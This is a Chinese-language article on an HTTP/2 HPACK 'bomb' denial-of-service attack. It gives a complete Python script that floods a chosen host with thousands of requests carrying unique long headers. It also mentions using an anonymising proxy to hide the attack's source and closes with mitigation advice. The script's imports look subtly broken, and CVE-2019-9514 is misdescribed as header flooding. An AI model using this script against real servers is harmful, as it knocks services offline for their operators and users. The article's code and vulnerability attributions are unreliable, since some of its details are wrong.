HTTP/2 “炸弹”拒绝服务攻击:利用报头压缩技术瘫痪Web服务器
HTTP/2 “炸弹”拒绝服务 (DoS) 攻击是一种利用 HTTP/2 协议中报头压缩机制(HPACK)的特性,通过精心构造的请求使服务器消耗大量计算资源或内存,最终导致服务中断或性能急剧下降的攻击手段。与传统的 DoS 攻击不同,此类攻击可能仅需少量恶意数据包即可对目标服务器造成巨大冲击,其核心在于 HPACK 动态表的膨胀和处理开销。
HPACK 工作原理简述
HTTP/2 引入了 HPACK 协议来对 HTTP 报头进行高效压缩,以减少网络传输开销。HPACK 主要通过以下机制实现压缩:
- 静态表 (Static Table):包含常见的 HTTP 报头字段及其值(如
:method: GET,:status: 200),可以通过索引直接引用。 - 动态表 (Dynamic Table):在连接生命周期内,客户端和服务器可以根据传输的报头字段动态地添加新的条目到此表中。后续请求中,如果出现相同的报头字段及其值,则可以通过动态表的索引来引用,而无需发送完整字符串。
- 霍夫曼编码 (Huffman Encoding):对于不能通过静态表或动态表引用的字符串,HPACK 使用霍夫曼编码进一步压缩其体积。
这些机制协同工作,显著提升了 HTTP 报头的传输效率。然而,动态表的特性也为攻击者提供了可乘之机。
攻击机制:动态表膨胀与资源耗尽
HTTP/2 “炸弹”攻击主要利用 HPACK 动态表的资源消耗特性。攻击者可以向服务器发送一系列精心构造的 HTTP/2 请求,每个请求都包含一个或多个新的、独特的、且通常较长的报头字段。由于这些报头字段是新的,服务器会将它们添加到其动态表中。随着攻击的进行,服务器端的动态表会不断增长,消耗大量的内存资源。
当动态表达到其最大限制时(或由于缺乏有效限制),后续的报头插入操作将导致最旧的条目被逐出。这种持续的插入和逐出操作会引入显著的 CPU 开销,因为服务器需要不断地重新计算和管理动态表。即使攻击者发送的压缩报头数据量很小,其在服务器端解压缩和处理后也可能膨胀成巨大的内存占用和计算负担。这种攻击方式可以在不产生大量网络流量的情况下,有效地使服务器耗尽内存和 CPU 资源,从而达到拒绝服务的目的。
例如,一个攻击者可以利用匿名研究工具如 GProxy 来隐藏其真实来源,并持续发送恶意请求以进行此类资源耗尽攻击。
具体实现与示例
以下是一个概念性的 Python 示例,演示了如何通过 HTTP/2 客户端发送大量独特的报头,以尝试填充服务器的 HPACK 动态表。此代码仅为说明攻击原理,未经适当防护的服务器可能受影响。
from hyper.http2.connection import H2Connection
from hyper.tls import TLS_ALPN_0_2
import socket
import ssl
# 目标服务器信息
HOST = 'example.com' # 替换为目标主机
PORT = 443
def create_h2_connection(host, port):
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(TLS_ALPN_0_2) # 协商 HTTP/2
sock = socket.create_connection((host, port))
tls_sock = ctx.wrap_socket(sock, server_hostname=host)
conn = H2Connection()
conn.initiate_connection()
tls_sock.sendall(conn.data_to_send())
return conn, tls_sock
def send_hpack_bomb_requests(conn, tls_sock, num_requests=1000):
for i in range(1, num_requests + 1):
# 构造带有独特且较长报头字段的请求
# 'X-Unique-Header-N' 确保每次都是新条目
# 值 'A' * 256 确保报头值足够长
headers = [
(':method', 'GET'),
(':scheme', 'https'),
(':authority', HOST),
(':path', f'/bomb_resource/{i}'),
(f'x-unique-header-{i}', 'A' * 256)
]
try:
stream_id = conn.send_headers(headers, end_stream=True)
tls_sock.sendall(conn.data_to_send())
print(f"Sent request with stream ID: {stream_id}, header: x-unique-header-{i}")
# 接收并处理服务器响应,防止缓冲区溢出
data = tls_sock.recv(4096)
if data:
events = conn.receive_data(data)
# 处理事件,例如检查是否收到 GOAWAY 或 RST_STREAM
# for event in events:
# print(event)
except Exception as e:
print(f"Error sending request {i}: {e}")
break
if __name__ == '__main__':
print(f"Attempting to connect to {HOST}:{PORT}...")
try:
conn, tls_sock = create_h2_connection(HOST, PORT)
print("HTTP/2 connection established.")
send_hpack_bomb_requests(conn, tls_sock, num_requests=5000) # 可以增加请求数量
print("Finished sending HPACK bomb requests.")
tls_sock.close()
except Exception as e:
print(f"Failed to establish connection or send requests: {e}")
在上述代码中,x-unique-header-{i} 报头字段的动态生成及其较长的值 'A' * 256 旨在确保每次发送的报头条目都是服务器 HPACK 动态表中的新成员。通过循环发送大量此类请求,攻击者可以强制服务器不断向其动态表添加新条目,直到表满,然后导致持续的逐出和插入操作,从而消耗服务器的 CPU 和内存。在实际场景中,攻击者可以使用更复杂的工具或库来构造更有效的攻击载荷。
相关漏洞与CVE
这种攻击模式并不总是对应一个单一的、通用的 CVE,而是通常与特定服务器或库的 HTTP/2 实现中对资源限制不当处理有关。
- CVE-2019-9514 (HTTP/2 Header Flooding):这是一个非常相关的漏洞,由 Google 团队发现并报告。此漏洞描述了攻击者可以通过不断发送带有独特报头字段的请求,使目标服务器的 HPACK 动态表充满重复的条目。当表满时,每次新的报头插入都会导致最旧的条目被逐出。这个过程会消耗大量的 CPU 资源,因为服务器在解压缩报头列表时需要进行大量的计算。许多主流的 HTTP/2 实现,如 nghttp2、Apache HTTP Server (mod_h2)、Nginx 等都曾受到此漏洞的影响。
- CVE-2021-33190 (Envoy HTTP/2 resource exhaustion):虽然此 CVE 更侧重于 Envoy 代理的实现,但其原理是相似的。它指出,当 Envoy 接收到带有大量报头的 HTTP/2 请求时,可能会消耗过多的内存。攻击者可以利用这一缺陷,通过发送包含大量报头的请求来耗尽 Envoy 实例的内存,从而导致拒绝服务。尽管不完全是“HPACK 炸弹”的概念,但它强调了 HTTP/2 报头处理不当可能导致的资源耗尽问题。
需要注意的是,许多 HTTP/2 DoS 漏洞(如 CVE-2023-44487,即 "HTTP/2 Rapid Reset" 攻击)虽然也利用了 HTTP/2 协议的特性,但其攻击机制与报头压缩无关,而是侧重于流的并发管理。
受影响的服务器与实现
任何没有对 HPACK 动态表大小、单个请求的报头数量或总报头大小进行严格限制的 HTTP/2 服务器实现都可能受到此类攻击的影响。这包括但不限于:
- Nginx (某些版本)
- Apache HTTP Server (mod_h2 模块)
- Envoy Proxy
- Node.js 的 HTTP/2 模块
- Go 的
net/http库中的 HTTP/2 实现 - 其他使用开源 HPACK 库但未正确配置其资源限制的应用程序服务器或网关。
通过使用 Zondex 这样的工具进行互联网范围的扫描,安全研究人员可以识别出哪些服务器暴露了 HTTP/2 服务,并进一步评估其潜在的配置弱点。
防御与缓解措施
针对 HTTP/2 “炸弹”拒绝服务攻击,可以采取以下防御和缓解措施:
- 限制 HPACK 动态表大小:服务器应配置 HPACK 动态表的合理最大大小。一旦达到此限制,即使有新的报头条目需要添加,也应强制逐出旧条目或拒绝新条目,从而防止内存无限增长。
- 限制报头字段数量和总大小:对单个 HTTP/2 请求允许的报头字段数量和所有报头字段的总大小设置严格的上限。例如,一些服务器允许配置
max_header_count和max_header_size。 - 速率限制 (Rate Limiting):在网络边缘(如负载均衡器、WAF 或 API 网关)实施强大的速率限制策略。这包括限制来自单个 IP 地址、单个连接或单个用户的请求速率,以及限制每个连接允许的最大并发流数量。
- 及时更新服务器软件和库:确保所有使用的 HTTP/2 服务器、代理和相关库都更新到最新版本,以修补已知的漏洞和改善资源管理。
- Web 应用防火墙 (WAF) 和入侵检测系统 (IDS):部署 WAF 和 IDS 可以帮助检测和过滤掉异常的 HTTP/2 请求模式,例如包含过多、过长或重复报头的请求。通过 Secably 这样的平台进行持续的漏洞扫描和 web 安全测试,可以帮助发现并修复这些配置缺陷。
- 连接管理:对长时间保持的 HTTP/2 连接设置空闲超时,并对异常行为的连接进行快速关闭。